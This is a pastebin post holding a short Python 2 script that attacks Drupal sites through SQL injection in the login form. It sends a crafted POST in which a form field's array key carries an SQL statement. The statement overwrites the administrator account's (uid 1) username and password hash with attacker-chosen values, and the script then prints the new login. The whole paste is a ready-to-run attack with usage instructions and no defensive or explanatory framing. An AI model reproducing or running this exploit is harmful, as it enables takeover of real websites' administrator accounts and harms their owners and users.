Advertisement
Guest User

Untitled

a guest
Apr 25th, 2018
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. import urllib2,sys
  2. from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
  3. host = sys.argv[1]
  4. user = sys.argv[2]
  5. password = sys.argv[3]
  6. if len(sys.argv) != 3:
  7. print "host username password"
  8. print "http://nope.io admin wowsecure"
  9. hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
  10. target = '%s/?q=node&destination=node' % host
  11. post_data = "name[0%20;update+users+set+name%3d\'" \
  12. +user \
  13. +"'+,+pass+%3d+'" \
  14. +hash[:55] \
  15. +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
  16. content = urllib2.urlopen(url=target, data=post_data).read()
  17. if "mb_strlen() expects parameter 1" in content:
  18. print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement